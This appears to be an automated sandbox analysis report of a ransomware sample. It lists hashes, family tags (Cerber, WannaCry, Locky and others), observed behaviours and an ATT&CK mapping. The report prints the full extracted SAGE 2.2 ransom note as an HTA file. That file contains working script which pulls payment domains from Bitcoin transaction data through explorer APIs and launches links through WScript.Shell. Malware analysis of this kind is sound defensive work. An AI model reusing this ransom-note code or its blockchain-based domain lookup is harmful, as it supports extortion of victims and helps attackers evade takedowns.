General
-
Target
RNSM00299.7z
-
Size
19.4MB
-
Sample
241114-1djagatdmk
-
MD5
e74e2b3e44e8e753302f21ad25e1b8fc
-
SHA1
7725facdbb3b12c3e888a2f0fedebe62afd3fcb6
-
SHA256
651e6a8e42d16855e1579c95159a2102aae5a19da17bbed94c2534d5272253cb
-
SHA512
f0142a2247307ed4ef5814732ae6371f6ce31d013644d99eb8455ac7837d7037792e225d5b93cf34449e7288aa3ee476e529b5849c45fe85bbe8a2f9f8f1eb20
-
SSDEEP
393216:fBTrkg54OPuzE3EpnP5qUVp2g4B4AX3gk6PulqnxCKO1:dJuzXpnPvS9D3g3Puwr0
Score
10/10
Malware Config
Extracted
Path
C:\Users\Admin\Music\!HELP_SOS.hta
Ransom Note
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Decryption Instructions</title>
<HTA:APPLICATION ID='App' APPLICATIONNAME="Decryption Instructions" SCROLL="yes" SINGLEINSTANCE="yes" WINDOWSTATE="maximize">
<style>
a {
color: #04a;
text-decoration: none;
}
a:hover {
text-decoration: underline;
}
body {
background-color: #e7e7e7;
color: #222;
font-family: "Lucida Sans Unicode", "Lucida Grande", sans-serif;
font-size: 12pt;
line-height: 16pt;
}
body, h1 {
margin: 0;
padding: 0;
}
h1 {
color: #555;
text-align: center;
padding-bottom: 1.5em;
}
h2 {
color: #555;
text-align: center;
}
ol li {
padding-bottom: 13pt;
}
.container {
background-color: #EEE;
border: 2pt solid #C7C7C7;
margin: 3%;
min-width: 600px;
padding: 5% 10%;
color: #444;
}
.filecontainer{
padding: 5% 10%;
display: none;
}
.header {
border-bottom: 2pt solid #c7c7c7;
padding-bottom: 5%;
}
.hr {
background: #bda;
display: block;
height: 2pt;
margin-top: 1.5%;
margin-bottom: 1.5%;
overflow: hidden;
width: 100%;
}
.key{
background-color: #A1D490;
border: 1px solid #506A48;
display: block;
text-align: center;
margin: 0.5em 0;
padding: 1em 1.5em;
word-wrap: break-word;
}
.keys{
margin: 3em 0;
}
.filename{
border: 3px solid #AAA;
display: block;
text-align: center;
margin: 0.5em 0em;
padding: 1em 1.5em;
background-color: #DCC;
}
.us{
text-decoration: strong;
color: #333;
}
.info{
background-color: #E4E4E4;
padding: 0.5em 3em;
margin: 1em 0;
}
.text{
text-align: justify;
}
#file{
background-color: #FCC;
}
.lsb{
display: none;
margin: 3%;
text-align: center;
}
.ls{
border: 1px solid #888;
border-radius: 3px;
padding: 0 0.5em;
margin: 1em 0.1em;
line-height: 2em;
display: inline-block;
}
.ls:hover{
background-color: #D0D0D0;
}
.l{
display:none;
}
.lu{
display:none;
}
</style>
<script language="vbscript">
Function GetCmd
GetCmd = App.commandLine
End Function
</script>
<script language="javascript">
function openlink(url){
new ActiveXObject("WScript.Shell").Run(url);
return false;
}
function aIndexOf(arr, v){
for(var i = 0; i < arr.length; i++) if(arr[i] == v) return i;
return -1;
}
function tweakClass(cl, f){
var els;
if(document.getElementByClassName != null){
els = document.getElementsByClassName(cl);
}
else{
els = [];
var tmp = document.getElementsByTagName('*');
for (var i = 0; i < tmp.length; i++){
var c = tmp[i].className;
if( (c == cl) || ((c.indexOf(cl) != 1) && ((' '+c+' ').indexOf(' '+cl+' ') != -1)) ) els.push(tmp[i]);
}
}
for(var i = 0; i < els.length; i++) f(els[i]);
}
function show(el){ el.style.display = 'block'; }
function hide(el){ el.style.display = 'none'; }
var langs = ["en","de","it","pt","es","fr","kr","nl","ar","fa","zh"];
function setLang(lang){
if(aIndexOf(langs, lang) == -1) lang = langs[0];
for(var i = 0; i < langs.length; i++){
var clang = langs[i];
tweakClass('l-'+clang, function(el){ el.style.display = (clang == lang) ? 'block' : 'none'; });
tweakClass('ls-'+clang, function(el){ el.style.backgroundColor = (clang == lang) ? '#BBB' : ''; });
}
}
function newXHR() {
if (window.XMLHttpRequest) return new window.XMLHttpRequest;
try {
return new ActiveXObject("MSXML2.XMLHTTP.3.0");
}
catch(error) {
return null;
}
}
function getPage(url, cb) {
try{
var xhr = newXHR();
if(!xhr) return cb('no xhr');
xhr.onreadystatechange = function() {
if(xhr.readyState != 4) return;
if(xhr.status != 200 || !xhr.responseText) return cb(xhr.status)
cb(null, xhr.responseText);
};
xhr.open("GET", url+((url.indexOf('?') == -1) ? "?" : "&") + "_=" + new Date().getTime(), true);
xhr.send();
}
catch(e){
cb(e);
}
}
function decodeTxString(hex){
var m = '0123456789abcdef';
var s = '';
var c = 0xAA;
hex = hex.toLowerCase();
for(var i = 0; i < hex.length; i+=2){
var a = m.indexOf(hex.charAt(i));
var b = m.indexOf(hex.charAt(i+1));
if(a == -1 || b == -1) throw hex[i]+hex[i+1]+' '+a+' '+b;
s+= String.fromCharCode(c = (c ^ ((a << 4) | b)));
}
return s;
}
var OR = 'OP_RE'+'TURN ';
var sources = [
{bp:'btc.b'+'lockr.i'+'o/api/v1/', txp:'tx/i'+'nfo/', adp:'add'+'ress/txs/',
ptxs: function(json){
if(json.status != 'success') return null;
var res = [];
for(var i = 0; i < json.data.txs.length - 1; i++) res.push(json.data.txs[i].tx);
return res;
},
ptx: function(json){
if(json.status != 'success') return null;
var os = json.data.vouts;
for(var i = 0; i < os.length; i++) if(os[i].extras.asm.indexOf(OR) == 0) return decodeTxString(os[i].extras.asm.substr(10));
return null;
}
},
{bp:'ch'+'ain.s'+'o/api/v2/', txp:'get_t'+'x_out'+'puts/btc/', adp:'get_tx_uns'+'pent/btc/',
ptxs: function(json){
if(json.status != 'success') return null;
var res = [];
for(var i = json.data.txs.length - 1; i >= 0; i--) res.push(json.data.txs[i].txid);
return res;
},
ptx: function(json){
if(json.status != 'success') return null;
var os = json.data.outputs;
for(var i = 0; i < os.length; i++) if(os[i].script.indexOf(OR) == 0) return decodeTxString(os[i].script.substr(10));
return null;
}
},
{bp:'bit'+'aps.co'+'m/api/', txp:'trans'+'action/', adp:'ad'+'dress/tra'+'nsactions/', adpb:'/0/sen'+'t/all',
ptxs: function(json){
var res = [];
for(var i = 0; i < json.length; i++) res.push(json[i][1]);
return res;
},
ptx: function(json){
var os = json.output;
for(var i = 0; i < os.length; i++) if(os[i].script.asm.indexOf(OR) == 0) return decodeTxString(os[i].script.asm.substr(10));
return null;
}
},
{bp:'api.b'+'lockcyp'+'her.com/v1/b'+'tc/main/', txp:'txs/', adp:'addrs/',
ptxs: function(json){
var res = [];
var m = {};
for(var i = 0; i < json.txrefs.length; i++){
var tx = json.txrefs[i].tx_hash;
if(m[tx]) continue;
m[tx] = 1;
res.push(tx);
}
return res;
},
ptx: function(json){
var os = json.outputs;
for(var i = 0; i < os.length; i++) if(os[i].data_hex != null) return decodeTxString(os[i].data_hex);
return null;
}
}
];
function eachUntil(a,f,c){
var i = 0;
var n = function(){
if(i >= a.length) return c('f');
f(a[i++], function(err, res){
if(err == null) return c(null, res);
n();
});
};
n();
}
function getJson(url, cb){
getPage(url, function(err, res){
if(err != null) return cb(err);
var json;
try{
if(window.JSON && window.JSON.parse){
json = window.JSON.parse(res);
}
else{
json = eval('('+res+')');
}
}
catch(e){
cb(e);
}
cb(null, json);
});
}
function getDomains(ad, cb){
eachUntil(sources, function(s, cb){
var url = 'http://'+s.bp;
url+= s.adp+ad;
if(s.adpb) url+= s.adpb;
getJson(url, function(err, json){
if(err != null) return cb(err);
try{
cb(null, s.ptxs(json));
}
catch(e){
cb(e);
}
});
}, function(err, txs){
if(err != null) return cb(err);
if(txs.length == 0) return cb('f');
eachUntil(txs, function(tx, cb){
eachUntil(sources, function(s, cb){
var url = 'http://'+s.bp+s.txp+tx;
getJson(url, function(err, json){
if(err != null) return cb(err);
try{
cb(null, s.ptx(json));
}
catch(e){
cb(e);
}
});
}, function(err, res){
if(err != null) return cb(err);
if(res == null) return cb('f');
cb(null, res.split(':'));
});
}, cb);
});
}
function updateLinks(){
tweakClass('lu', hide);
tweakClass('lu-updating', show);
getDomains('1783wBG'+'sr'+'1zkxenfE'+'ELXA25PLSkL'+'dfJ4B7', function(err, ds){
tweakClass('lu', hide);
if(err != null){
tweakClass('lu-error', show);
return;
}
tweakClass('lu-done', show);
var html = '';
for(var i = 0; i < ds.length; i++) html+= '<div class="key"><a href="http://7gie6ffnkrjykggd.'+ds[i]+'/login/AXG4h6e3qtZoGcCr5cg-1yzrbvS0zmVVNWJahdO1DyRa60FxRQq3fyLA" onclick="javascript:return openlink(this.href)">http://7gie6ffnkrjykggd.'+ds[i]+'/</a></div>';
tweakClass('links', function(el){
el.innerHTML = html;
});
});
return false;
}
function onPageLoaded(){
try{
tweakClass('lsb', show);
}catch(e){}
try{
tweakClass('lu-orig', show);
}catch(e){}
try{
setLang('en');
}catch(e){}
try{
var args = GetCmd().match(/"[^"]+"|[^ ]+/g);
if(args.length > 1){
var file = args[args.length-1];
if(file.charAt(0) == '"' && file.charAt(file.length-1) == '"') file = file.substr(1, file.length-2);
document.getElementById('filename').innerHTML = file;
show(document.getElementById('file'));
document.title = 'File is encrypted';
}
}catch(e){}
}
</script>
</head>
<body onload='javascript:onPageLoaded()'>
<div class='lsb'>
<span class='ls ls-en' onclick="javascript:return setLang('en')">English</span>
<span class='ls ls-de' onclick="javascript:return setLang('de')">Deutsch</span>
<span class='ls ls-it' onclick="javascript:return setLang('it')">Italiano</span>
<span class='ls ls-pt' onclick="javascript:return setLang('pt')">Português</span>
<span class='ls ls-es' onclick="javascript:return setLang('es')">Español</span>
<span class='ls ls-fr' onclick="javascript:return setLang('fr')">Français</span>
<span class='ls ls-kr' onclick="javascript:return setLang('kr')">한국어</span>
<span class='ls ls-nl' onclick="javascript:return setLang('nl')">Nederlands</span>
<span class='ls ls-ar' onclick="javascript:return setLang('ar')">العربية</span>
<span class='ls ls-fa' onclick="javascript:return setLang('fa')">فارسی</span>
<span class='ls ls-zh' onclick="javascript:return setLang('zh')">中文</span>
</div>
<div id='file' class='container filecontainer'>
<div class='filename'>
<div style='float:left; padding:18px 0'><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADEAAABACAYAAACz4p94AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAARCQAAEQkAGJrNK4AAAAB3RJTUUH4QEcFBoaYAOrHQAABThJREFUaN7tmlloXGUUx3/3ziRtTa2xcZ1gtaJFDFjtwSqllaKiiEilKOKDNS2UivXF+qD0QRBRUMQXN/TBBcFifahYFC0urfpghSMqaDSkdQMvojZpIk2zTMaHe776MZ17M6u9ozkwzAwz3/ed/9m+s9yABkhEUFX/+43ATcBy4FxgMdABTAB/Aj8CXwO7VfVdb10AlPy9aqGgTuYDVS3Z56XA48AtdWz1OrBdVQ82AiaoVfJATlWLIrIAeAbYWKciS975LwJ3q+pEJQ03DYRJKVDVGRFZCew0kylnqFaaAULgB+B2Vd1fru3ZKFcDAFS1JCLXA7uBMxs1S29t0fzn5kKhMBBF0WAURYgIURQ1DsIAhKaBVcAbwKk0l0JgGlgIrCkUChpF0U/VAgmrOCBvPrAEeBY4jdZQ3jRyDvCEiJxl2ne+mLowTQs5VZ0yJ95mobMaRx0A3gMGgSPAycCFwHXARQlrfKFeDjwMbG7IsT0zKorIauBtYFGFvxY9s3wZ2Kaqwyn7dgNPpkQ1t9/PwGZV3TNbxErThAOwCOhPADBtexwGNqrqrrR4bxFnBNgkIm8CrwFdCX66BNgA7KlLE2aDeVWdFpHlwPsVfMEBGAXuUtUd1YRGH6CIrLdAESZoYxC4Q1U/r8exQwMQAFdb+CuP7U6LO6oF4MK0d+47ZlpJfJ0HXFsm3OpB2HsPsCZBUtgF9VSZo85KFq7zqnrUTOq3ChYyA3QCq7x1NYFwZnYKsKJCFOqwz59YJKo5VTAmAQ4CuxKiHUCviCyryZzMhIqeOnsSDh8B9qnqTJqU0kKyAT8MfJwiyB5gWa0+ETjGgPOBeQkSGgG+rPdmM99wfjUEHEoA0Q0srRmEaSRv+VFHAogx84lGyO01ChxI+E8XcHq9aUdnhahU8uL471bszJoWVEFHbL8kHhfXCyIE5qesGXX+UW9F5mli0jSbRPMaAdGZ8vtUtSG1ykg1mXIRdzaaxVYjSU7kPmFKaAsq5DW+dBY2WAyV89GV8ntXran4tGfzW4B7K0grAI5WMIF6zAjgD2ATsDXhrPFaGwGZJhE59jrOPMraMIuBK4EzTFqlE8x7YNr6TFUP+dkwQCAiobuhRWQt8DTQl2FlfAtsVdW9DoyviUeA7U1owbSSfL4eU9UHjlVRInI/8FDGATizcvytLhQKQRRFewMRuQJ4y+y/Xcg13IaA/tBCWxftRe5+uwC4NQTWzpabZFgbAFeF1qzKtSEIp40+l+QFtC91hvwHaA7E/xlEKesgZrz6u19VA/eytH64FUGkmSCKtt8XwKWq+opL0GxE8AKwknh6mkkQ03bXRMTT0F9d7m/pfdGy5SHgPtclyRoIZyLfAR95APC6If4A5sOsgfB7UQe88jbJoceI+6+ZdeyOKrWWzxqIwJN+H/F8rlJDzR8XrMiyT1wM3OnX7V797oBeQzxYbF6lJCLTTcpi3fhrBNiiqjsrNCBuIx5Ozs+qT+SJW5vdxHPoS3yHlrjH8nyzAbTCsZ1ZjfPPoMa/DMdpAc0lgHMg2gREqcxPSrSoHdoqx+4Ceu3Sc4x3c/wkNpMgclZT9AIPisjZFl57gUeZZeKThcuuvDhyAppsFfOt9gl/385/w7FLtDmFwF9ebdxO5IQ/HBIPLabaGMT+kLitP9GGAELi4ecHIfAqyc9VZJWc+SvwUi6KorFCofANsA44qQ0AuEfrfgHuUdWB0IqWT4Ebml3At4hywPfAelXd5y47sIfY7XbdQNytuwxYkCHmR4GvgOfcM4fGL38Dzdjo/H/3PFAAAAAASUVORK5CYII=" style='padding:0 7.5px'/></div>
<div>
<h2 class='l l-en' style='display:block'>The file is encrypted but can be restored</h2><h2 class='l l-de' >Die Datei ist verschlüsselt, aber kann wiederhergestellt werden</h2><h2 class='l l-it' >Il file è crittografato, ma può essere ripristinato</h2><h2 class='l l-pt' >O arquivo está criptografado, mas poderá ser descriptografado</h2><h2 class='l l-es' >El archivo está encriptado pero puede ser restaurado</h2><h2 class='l l-fr' >Le fichier est crypté mais peut être restauré</h2><h2 class='l l-kr' >파일은 암호화되었지만 복원 할 수 있습니다</h2><h2 class='l l-nl' >Het bestand is versleuteld maar kan worden hersteld</h2><h2 class='l l-ar' > الملف مشفر لكن من الممكن إسترجاعه </h2><h2 class='l l-fa' >این فایل رمزگذاری شده است اما می تواند بازیابی شود</h2><h2 class='l l-zh' >文件已被加密，但是可以解密</h2>
<p><span id='filename'></span></p>
</div>
</div>
<h2 class='l l-en' style='display:block'>The file you tried to open and other important files on your computer were encrypted by "SAGE 2.2 Ransomware".</h2><h2 class='l l-de' >Die Datei, die Sie öffnen wollten, und andere wichtige Dateien auf ihrem Computer wurden von "SAGE 2.2 Ransomware" verschlüsselt.</h2><h2 class='l l-it' >Il file che hai tentato di aprire e altri file importanti del tuo computer sono stati crittografati da "SAGE 2.2 Ransomware".</h2><h2 class='l l-pt' >O arquivo que você está tentando acessar está criptografado, outros arquivos importantes em seu computador também foram criptografados por "SAGE 2.2 Ransomware".</h2><h2 class='l l-es' >El archivo que intentó abrir y otros importantes archivos en su computadora fueron encriptados por "SAGE 2.2 Ransomware".</h2><h2 class='l l-fr' > Le fichier que vous essayez d’ouvrir et d’autres fichiers importants sur votre ordinateur ont été cryptés par "SAGE 2.2 Ransomware".</h2><h2 class='l l-kr' >컴퓨터에서 여는 파일 및 기타 중요한 파일은 "SAGE 2.2 Ransomware"에 의해 암호화되었습니다.</h2><h2 class='l l-nl' >Het bestand dat je probeert te openen en andere belangrijke bestanden op je computer zijn beveiliged door "SAGE 2.2 Ransomware".</h2><h2 class='l l-ar' > الملف الذي كنت بصدد فتحه وبعض الملفات المهمة على حاسوبك تم تشفيرها "SAGE 2.2 Ransomware".</h2><h2 class='l l-fa' >فایلی که شما تلاش کردید بازکنید و فایل های کامپیوتر شما رمزگذاری شده است "SAGE 2.2 Ransomware".</h2><h2 class='l l-zh' >您试图打开的文件以及您计算机上的其它文件已经用"SAGE 2.2 Ransomware"进行了加密。</h2>
<h2 class='l l-en' style='display:block'>Action required to restore your files.</h2><h2 class='l l-de' >Aktion erforderlich, um ihre Daten wiederherzustellen.</h2><h2 class='l l-it' >Azione necessaria per ripristinare i file.</h2><h2 class='l l-pt' >O que você deve fazer para restaurar seus arquivos.</h2><h2 class='l l-es' >Se requiere una acción para restaurar sus archivos.</h2><h2 class='l l-fr' >Action requise pour restaurer vos fichiers.</h2><h2 class='l l-kr' >파일을 복원하는 데 필요한 작업.</h2><h2 class='l l-nl' >Aktie vereist om je bestanden te herstellen.</h2><h2 class='l l-ar' > الإجراءات المطلوبة لاستعادة الملفات الخاصة بك.</h2><h2 class='l l-fa' >برای بازگرداندن فایل های خود را اقدام کنید.</h2><h2 class='l l-zh' >要恢复文件需要进行解密。</h2>
</div>
<div class='container'>
<div class="text l l-en" style='display:block'>
<h1>File recovery instructions</h2>
<p>You probably noticed that you can not open your files and that some software stopped working correctly.</p>
<p>This is expected. Your files content is still there, but it was encrypted by <span class='us'>"SAGE 2.2 Ransomware"</span>.</p>
<p>Your files are not lost, it is possible to revert them back to normal state by decrypting.</p>
<p>The only way you can do that is by getting <span class='us'>"SAGE Decrypter"</span> software and your personal decryption key.</p>
<div class='info'>
<p>Using any other software which claims to be able to restore your files will result in files being damaged or destroyed.</p>
</div>
<p>You can purchase <span class='us'>"SAGE Decrypter"</span> software and your decryption key at your personal page you can access by following links:</p>
<div class='keys links'>
<div class='key'>
<a href="http://7gie6ffnk
URLs
http://'+s.bp
http://'+s.bp+s.txp+tx
Targets
-
-
Target
RNSM00299.7z
-
Size
19.4MB
-
MD5
e74e2b3e44e8e753302f21ad25e1b8fc
-
SHA1
7725facdbb3b12c3e888a2f0fedebe62afd3fcb6
-
SHA256
651e6a8e42d16855e1579c95159a2102aae5a19da17bbed94c2534d5272253cb
-
SHA512
f0142a2247307ed4ef5814732ae6371f6ce31d013644d99eb8455ac7837d7037792e225d5b93cf34449e7288aa3ee476e529b5849c45fe85bbe8a2f9f8f1eb20
-
SSDEEP
393216:fBTrkg54OPuzE3EpnP5qUVp2g4B4AX3gk6PulqnxCKO1:dJuzXpnPvS9D3g3Puwr0
Score10/10-
Cerber
Cerber is a widely used ransomware-as-a-service (RaaS), first seen in 2017.
-
Cerber family
-
Darkcomet
DarkComet is a remote access trojan (RAT) developed by Jean-Pierre Lesueur.
-
Darkcomet family
-
Dharma
Dharma is a ransomware that uses security software installation to hide malicious activities.
-
Dharma family
-
Gozi
Gozi is a well-known and widely distributed banking trojan.
-
Gozi family
-
Locky
Ransomware strain released in 2016, with advanced features like anti-analysis.
-
Locky family
-
Modifies WinLogon for persistence
-
Wannacry
WannaCry is a ransomware cryptoworm.
-
Wannacry family
-
Contacts a large (8812) amount of remote hosts
This may indicate a network scan to discover remotely running services.
-
Creates a large amount of network flows
This may indicate a network scan to discover remotely running services.
-
Deletes shadow copies
Ransomware often targets backup files to inhibit system recovery.
-
Renames multiple (320) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
Blocklisted process makes network request
-
Modifies Windows Firewall
-
Credentials from Password Stores: Windows Credential Manager
Suspicious access to Credentials History.
-
Drops startup file
-
Executes dropped EXE
-
Loads dropped DLL
-
Obfuscated with Agile.Net obfuscator
Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.
-
Reads user/profile data of web browsers
Infostealers often target stored browser data, which can include saved credentials etc.
-
Adds Run key to start application
-
Drops desktop.ini file(s)
-
Enumerates connected drives
Attempts to read the root path of hard drives other than the default C: drive.
-
Indicator Removal: File Deletion
Adversaries may delete files left behind by the actions of their intrusion activity.
-
AutoIT Executable
AutoIT scripts compiled to PE executables.
-
Drops file in System32 directory
-
Sets desktop wallpaper using registry
-
Suspicious use of NtSetInformationThreadHideFromDebugger
-
Suspicious use of SetThreadContext
-
UPX packed file
Detects executables packed with UPX/modified UPX open source packer.
-
MITRE ATT&CK Enterprise v15
Execution
Scheduled Task/Job
1Scheduled Task
1Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
1Winlogon Helper DLL
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
1Winlogon Helper DLL
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
1Disable or Modify System Firewall
1Indicator Removal
3File Deletion
3Modify Registry
6Subvert Trust Controls
1Install Root Certificate
1Credential Access
Credentials from Password Stores
2Credentials from Web Browsers
1Windows Credential Manager
1Unsecured Credentials
1Credentials In Files
1Discovery
Browser Information Discovery
1Network Service Discovery
2Peripheral Device Discovery
1Query Registry
1Remote System Discovery
1System Information Discovery
2System Location Discovery
1System Language Discovery
1System Network Configuration Discovery
1Internet Connection Discovery
1